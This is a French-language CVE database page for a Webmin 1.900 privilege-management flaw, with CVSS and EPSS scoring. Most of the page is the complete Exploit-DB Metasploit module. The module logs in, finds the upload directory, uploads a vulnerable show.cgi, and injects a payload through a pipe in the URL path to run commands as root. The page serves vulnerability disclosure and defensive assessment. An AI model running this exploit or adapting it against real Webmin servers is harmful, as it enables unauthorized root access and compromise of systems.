Faiblesses connexes
| CWE-ID |
Nom de la faiblesse |
Source |
| CWE-269 |
Improper Privilege Management
The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor. |
|
Métriques
| Métriques |
Score |
Gravité |
CVSS Vecteur |
Source |
| V3.0 |
7.8 |
HIGH |
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. A vulnerability exploitable with Local access means that the vulnerable component is not bound to the network stack, and the attacker's path is via read/write/execute capabilities. In some cases, the attacker may be logged in locally in order to exploit the vulnerability, otherwise, she may rely on User Interaction to execute a malicious file. Attack Complexity This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack. User Interaction This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component. Successful exploitation of this vulnerability requires a user to take some action before the vulnerability can be exploited. For example, a successful exploit may only be possible during the installation of an application by a system administrator. Base: Scope MetricsAn important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges. Scope Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports. An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same. Base: Impact MetricsThe Impact metrics refer to the properties of the impacted component. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability. Environmental Metrics
|
[email protected] |
| V2 |
6.8 |
|
AV:N/AC:M/Au:N/C:P/I:P/A:P |
[email protected] |
EPSS
EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.
Score EPSS
Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.
Percentile EPSS
Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
Informations sur l'Exploit
Exploit Database EDB-ID : 46201
Date de publication : 2019-01-17 23h00 +00:00
Auteur : AkkuS
EDB Vérifié : No
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'uri'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'Webmin 1.900 - Remote Command Execution',
'Description' => %q{
This module exploits an arbitrary command execution vulnerability in Webmin
1.900 and lower versions. Any user authorized to the "Java file manager"
and "Upload and Download" fields, to execute arbitrary commands with root privileges.
In addition, "Running Processes" field must be authorized to discover the directory to be uploaded.
A vulnerable file can be printed on the original files of the Webmin application.
The vulberable file we are uploading should be integrated with the application.
Therefore, a ".cgi" file with the vulnerability belong to webmin application should be used.
The module has been tested successfully with Webmin 1900 over Debian 4.9.18.
},
'Author' => [
'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf Module
],
'License' => MSF_LICENSE,
'References' =>
[
['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
],
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 512,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic perl ruby python telnet',
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Webmin <= 1.900', { }]],
'DisclosureDate' => 'Jan 17 2019',
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(10000),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('USERNAME', [true, 'Webmin Username']),
OptString.new('PASSWORD', [true, 'Webmin Password'])
], self.class)
end
##
# Target and input verification
##
def check
peer = "#{rhost}:#{rport}"
vprint_status("Attempting to login...")
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25)
if res and res.code == 302 and res.get_cookies =~ /sid/
vprint_good "Login successful"
session = res.get_cookies.split("sid=")[1].split(";")[0]
else
vprint_error "Service found, but login failed"
return Exploit::CheckCode::Detected
end
vprint_status("Attempting to execute...")
command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"
res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
'cookie' => "sid=#{session}"
}, 25)
if res and res.code == 200 and res.message =~ /Document follows/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
##
# Exploiting phase
##
def exploit
peer = "#{rhost}:#{rport}"
print_status("Attempting to login...")
data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
res = send_request_cgi(
{
'method' => 'POST',
'uri' => "/session_login.cgi",
'cookie' => "testing=1",
'data' => data
}, 25)
if res and res.code == 302 and res.get_cookies =~ /sid/
session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
if session and not session.empty?
print_good "Login successfully"
else
print_error "Authentication failed"
return
end
else
print_error "Authentication failed"
return
end
##
# Directory and SSL verification for referer
##
ps = "#{datastore['SSL']}"
if ps == "true"
ssl = "https://"
else
ssl = "http://"
end
print_status("Target URL => #{ssl}#{peer}")
res1 = send_request_raw(
{
'method' => "POST",
'uri' => "/proc/index_tree.cgi?",
'headers' =>
{
'Referer' => "#{ssl}#{peer}/sysinfo.cgi?xnavigation=1",
},
'cookie' => "redirect=1; testing=1; sid=#{session}"
})
if res1 and res1.code == 200 and res1.body =~ /Running Processes/
print_status "Searching for directory to upload..."
stpdir = res1.body.scan(/perl.+miniserv.pl/).map{ |s| s.split("perl ").last }.map{ |d| d.split("miniserv").first }.map{ |d| d.split("miniserv").first }
dir = stpdir[0] + "file"
print_good("Directory to upload => #{dir}")
else
print_error "No access to processes or no upload directory found."
return
end
##
# Loading phase of the vulnerable file
##
boundary = Rex::Text.rand_text_alphanumeric(29)
data2 = "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n"
data2 << "Content-Type: application/octet-stream\r\n\r\n"
data2 << "#!/usr/local/bin/perl\n# show.cgi\n# Output some file for the browser\n\n"
data2 << "$trust_unknown_referers = 1;\nrequire './file-lib.pl';\n&ReadParse();\nuse POSIX;\n"
data2 << "$p = $ENV{'PATH_INFO'};\nif ($in{'type'}) {\n\t# Use the supplied content type\n\t"
data2 << "$type = $in{'type'};\n\t$download = 1;\n\t}\nelsif ($in{'format'} == 1) {\n\t"
data2 << "# Type comes from compression format\n\t$type = \"application/zip\";\n\t}\n"
data2 << "elsif ($in{'format'} == 2) {\n\t$type = \"application/x-gzip\";\n\t}\n"
data2 << "elsif ($in{'format'} == 3) {\n\t$type = \"application/x-tar\";\n\t}\nelse {\n\t"
data2 << "# Try to guess type from filename\n\t$type = &guess_mime_type($p, undef);\n\t"
data2 << "if (!$type) {\n\t\t# No idea .. use the 'file' command\n\t\t"
data2 << "$out = &backquote_command(\"file \".\n\t\t\t\t\t quotemeta(&resolve_links($p)), 1);\n\t\t"
data2 << "if ($out =~ /text|script/) {\n\t\t\t$type = \"text/plain\";\n\t\t\t}\n\t\telse {\n\t\t\t"
data2 << "$type = \"application/unknown\";\n\t\t\t}\n\t\t}\n\t}\n\n# Dump the file\n&switch_acl_uid();\n"
data2 << "$temp = &transname();\nif (!&can_access($p)) {\n\t# ACL rules prevent access to file\n\t"
data2 << "&error_exit(&text('view_eaccess', &html_escape($p)));\n\t}\n$p = &unmake_chroot($p);\n\n"
data2 << "if ($in{'format'}) {\n\t# An archive of a directory was requested .. create it\n\t"
data2 << "$archive || &error_exit($text{'view_earchive'});\n\tif ($in{'format'} == 1) {\n\t\t"
data2 << "$p =~ s/\\.zip$//;\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t$p =~ s/\\.tgz$//;\n\t\t}\n\t"
data2 << "elsif ($in{'format'} == 3) {\n\t\t$p =~ s/\\.tar$//;\n\t\t}\n\t-d $p || &error_exit($text{'view_edir'}.\" \".&html_escape($p));\n\t"
data2 << "if ($archive == 2 && $archmax > 0) {\n\t\t# Check if directory is too large to archive\n\t\tlocal $kb = &disk_usage_kb($p);\n\t\t"
data2 << "if ($kb*1024 > $archmax) {\n\t\t\t&error_exit(&text('view_earchmax', $archmax));\n\t\t\t}\n\t\t}\n\n\t"
data2 << "# Work out the base directory and filename\n\tif ($p =~ /^(.*\\/)([^\\/]+)$/) {\n\t\t$pdir = $1;\n\t\t"
data2 << "$pfile = $2;\n\t\t}\n\telse {\n\t\t$pdir = \"/\";\n\t\t$pfile = $p;\n\t\t}\n\n\t"
data2 << "# Work out the command to run\n\tif ($in{'format'} == 1) {\n\t\t"
data2 << "&has_command(\"zip\") || &error_exit(&text('view_ecmd', \"zip\"));\n\t\t"
data2 << "$cmd = \"zip -r $temp \".quotemeta($pfile);\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t"
data2 << "&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
data2 << "&has_command(\"gzip\") || &error_exit(&text('view_ecmd', \"gzip\"));\n\t\t"
data2 << "$cmd = \"tar cf - \".quotemeta($pfile).\" | gzip -c >$temp\";\n\t\t}\n\t"
data2 << "elsif ($in{'format'} == 3) {\n\t\t&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
data2 << "$cmd = \"tar cf $temp \".quotemeta($pfile);\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
data2 << "# Don't actually do anything if in test mode\n\t\t&ok_exit();\n\t\t}\n\n\t"
data2 << "# Run the command, and send back the resulting file\n\tlocal $qpdir = quotemeta($pdir);\n\t"
data2 << "local $out = `cd $qpdir ; ($cmd) 2>&1 </dev/null`;\n\tif ($?) {\n\t\tunlink($temp);\n\t\t"
data2 << "&error_exit(&text('view_ecomp', &html_escape($out)));\n\t\t}\n\tlocal @st = stat($temp);\n\t"
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-type: $type\\n\\n\";\n\t"
data2 << "open(FILE, $temp);\n\tunlink($temp);\n\twhile(read(FILE, $buf, 1024)) {\n\t\tprint $buf;\n\t\t}\n\t"
data2 << "close(FILE);\n\t}\nelse {\n\tif (!open(FILE, $p)) {\n\t\t# Unix permissions prevent access\n\t\t"
data2 << "&error_exit(&text('view_eopen', $p, $!));\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
data2 << "# Don't actually do anything if in test mode\n\t\tclose(FILE);\n\t\t"
data2 << "&ok_exit();\n\t\t}\n\n\t@st = stat($p);\n\tprint \"X-no-links: 1\\n\";\n\t"
data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-Disposition: Attachment\\n\" if ($download);\n\t"
data2 << "print \"Content-type: $type\\n\\n\";\n\tif ($type =~ /^text\\/html/i && !$in{'edit'}) {\n\t\t"
data2 << "while(read(FILE, $buf, 1024)) {\n\t\t\t$data .= $buf;\n\t\t\t}\n\t\tprint &filter_javascript($data);\n\t\t"
data2 << "}\n\telse {\n\t\twhile(read(FILE, $buf, 1024)) {\n\t\t\tprint $buf;\n\t\t\t}\n\t\t}\n\tclose(FILE);\n\t}\n\n"
data2 << "sub error_exit\n{\nprint \"Content-type: text/plain\\n\";\n"
data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n"
data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}"
data2 << "\r\n\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"user\"\r\n\r\nroot\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"group_def\"\r\n\r\n1\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"group\"\r\n\r\n\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"zip\"\r\n\r\n0\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"email_def\"\r\n\r\n1\r\n"
data2 << "-----------------------------{boundary}\r\n"
data2 << "Content-Disposition: form-data; name=\"ok\"\r\n\r\nUpload\r\n"
data2 << "-----------------------------{boundary}--\r\n"
res2 = send_request_raw(
{
'method' => "POST",
'uri' => "/updown/upload.cgi?id=154739243511",
'data' => data2,
'headers' =>
{
'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
'Referer' => "#{ssl}#{peer}/updown/?xnavigation=1",
},
'cookie' => "redirect=1; testing=1; sid=#{session}"
})
if res2 and res2.code == 200 and res2.body =~ /Saving file/
print_good "Vulnerable show.cgi file was successfully uploaded."
else
print_error "Upload failed."
return
end
##
# Command execution and shell retrieval
##
print_status("Attempting to execute the payload...")
command = payload.encoded
res = send_request_cgi(
{
'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",
'cookie' => "sid=#{session}"
}, 25)
if res and res.code == 200 and res.message =~ /Document follows/
print_good "Payload executed successfully"
else
print_error "Error executing the payload"
return
end
end
end
Products Mentioned
Configuraton 0
Webmin>>Webmin >> Version 1.900
Références
